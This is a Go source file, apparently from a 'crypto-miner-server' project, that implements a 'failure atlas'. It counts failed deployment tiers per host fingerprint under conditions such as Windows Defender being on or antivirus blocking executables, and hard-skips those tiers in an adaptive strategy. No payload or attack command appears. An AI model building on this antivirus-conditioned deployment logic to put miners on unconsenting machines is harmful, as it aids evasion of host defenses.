package atlas

import (
	"fmt"
	"strings"

	"crypto-miner-server/internal/db"
	"crypto-miner-server/internal/strategy"
)

// FailureAtlas records conditioned tier failures and derives hard subtree skips.
type FailureAtlas struct {
	db *db.Database
}

func NewFailureAtlas(database *db.Database) *FailureAtlas {
	return &FailureAtlas{db: database}
}

// RecordFailure increments failure counters for each active condition on a failed tier attempt.
func (a *FailureAtlas) RecordFailure(fingerprintBucket, tier string, conditions []string) error {
	if a == nil || a.db == nil || strings.TrimSpace(fingerprintBucket) == "" || strings.TrimSpace(tier) == "" {
		return nil
	}
	tier = normalizeTier(tier)
	for _, cond := range conditions {
		cond = strings.TrimSpace(cond)
		if cond == "" {
			continue
		}
		if err := a.db.UpsertFailureAtlasPattern(fingerprintBucket, cond, tier); err != nil {
			return err
		}
	}
	return nil
}

// ShouldSkipSubtree reports whether atlas rules block attempting tier on this fingerprint.
func (a *FailureAtlas) ShouldSkipSubtree(fingerprintBucket, tier string, probes ProbeSnapshot, fp strategy.HostFingerprint) bool {
	if a == nil || a.db == nil {
		return false
	}
	rules, err := a.matchingRules(fingerprintBucket, fp.GOOS, ExtractConditions(fp, probes))
	if err != nil {
		return false
	}
	target := normalizeTier(tier)
	for _, rule := range rules {
		for _, branch := range rule.Subtree {
			if normalizeTier(branch) == target {
				return true
			}
		}
		if tierInSubtree(target, rule.Tier) {
			return true
		}
	}
	return false
}

// GetAtlasRules returns active atlas rules for a fingerprint bucket (UI / AI).
func (a *FailureAtlas) GetAtlasRules(fingerprintBucket, goos string) ([]AtlasRule, error) {
	if a == nil || a.db == nil {
		return nil, nil
	}
	patterns, err := a.db.ListFailureAtlasPatterns(fingerprintBucket, goos)
	if err != nil {
		return nil, err
	}
	return rulesFromPatterns(patterns), nil
}

// ComputeSkips returns hard skip entries for the current host snapshot.
func (a *FailureAtlas) ComputeSkips(
	fp strategy.HostFingerprint,
	probes map[string]bool,
	defenderEnabled, defenderRTP *bool,
) ([]AtlasSkip, error) {
	if a == nil || a.db == nil {
		return nil, nil
	}
	snap := ProbeSnapshotFromMaps(fp, probes, defenderEnabled, defenderRTP)
	rules, err := a.matchingRules(fp.Key(), fp.GOOS, ExtractConditions(fp, snap))
	if err != nil {
		return nil, err
	}
	seen := make(map[string]bool)
	var skips []AtlasSkip
	for _, rule := range rules {
		for _, branch := range rule.Subtree {
			key := normalizeTier(branch) + "|" + rule.Condition
			if seen[key] {
				continue
			}
			seen[key] = true
			skips = append(skips, AtlasSkip{
				Tier:      branch,
				Condition: rule.Condition,
				Reason:    rule.Reason,
			})
		}
	}
	return skips, nil
}

// MergeSkipsIntoStrategy adds atlas hard skips into an adaptive strategy plan.
func MergeSkipsIntoStrategy(strat *strategy.AdaptiveStrategy, skips []AtlasSkip) {
	if strat == nil || len(skips) == 0 {
		return
	}
	have := make(map[string]bool, len(strat.SkipTiers))
	for _, t := range strat.SkipTiers {
		have[normalizeTier(t)] = true
	}
	for _, skip := range skips {
		tier := normalizeTier(skip.Tier)
		if tier == "" || have[tier] {
			continue
		}
		have[tier] = true
		strat.SkipTiers = append(strat.SkipTiers, tier)
		label := strings.ReplaceAll(tier, "_", " ")
		strat.Reasoning = append(strat.Reasoning, strategy.StrategyReason{
			Fact:      "Failure atlas: " + label + " blocked under " + conditionLabel(skip.Condition),
			Inference: skip.Reason,
			Action:    "Hard skip " + label + " subtree",
		})
	}
	order := make([]string, 0, len(strat.TierOrder))
	for _, t := range strat.TierOrder {
		if !have[normalizeTier(t)] {
			order = append(order, t)
		}
	}
	strat.TierOrder = order
}

func (a *FailureAtlas) matchingRules(fingerprintBucket, goos string, activeConditions []string) ([]AtlasRule, error) {
	patterns, err := a.db.ListFailureAtlasPatterns(fingerprintBucket, goos)
	if err != nil {
		return nil, err
	}
	active := make(map[string]bool, len(activeConditions))
	for _, c := range activeConditions {
		active[c] = true
	}
	var out []AtlasRule
	for _, p := range patterns {
		if p.FailCount < MinFailCountForSubtree {
			continue
		}
		if len(active) > 0 && !active[p.Condition] {
			continue
		}
		rule := AtlasRule{
			Tier:              p.Tier,
			Condition:         p.Condition,
			FailCount:         p.FailCount,
			FingerprintBucket: p.FingerprintBucket,
			Subtree:           subtreeTiers(p.Tier),
			Reason:            fmt.Sprintf("%d failures with %s", p.FailCount, conditionLabel(p.Condition)),
		}
		out = append(out, rule)
	}
	return out, nil
}

func rulesFromPatterns(patterns []db.FailureAtlasPattern) []AtlasRule {
	out := make([]AtlasRule, 0, len(patterns))
	for _, p := range patterns {
		if p.FailCount < MinFailCountForSubtree {
			continue
		}
		out = append(out, AtlasRule{
			Tier:              p.Tier,
			Condition:         p.Condition,
			FailCount:         p.FailCount,
			FingerprintBucket: p.FingerprintBucket,
			Subtree:           subtreeTiers(p.Tier),
			Reason:            fmt.Sprintf("%d failures with %s", p.FailCount, conditionLabel(p.Condition)),
		})
	}
	return out
}

func conditionLabel(cond string) string {
	switch cond {
	case ConditionDefenderOn:
		return "Defender on"
	case ConditionNoDocker:
		return "no Docker"
	case ConditionAVBlocksExe:
		return "AV blocks exe"
	case ConditionGOOSWindows:
		return "Windows"
	case ConditionGOOSLinux:
		return "Linux"
	case ConditionGOOSDarwin:
		return "macOS"
	case ConditionNoWSL:
		return "no WSL"
	case ConditionNoPowerShell:
		return "no PowerShell"
	case ConditionNoDotNet:
		return "no dotnet"
	case ConditionNoGPU:
		return "no GPU"
	default:
		return strings.ReplaceAll(cond, "_", " ")
	}
}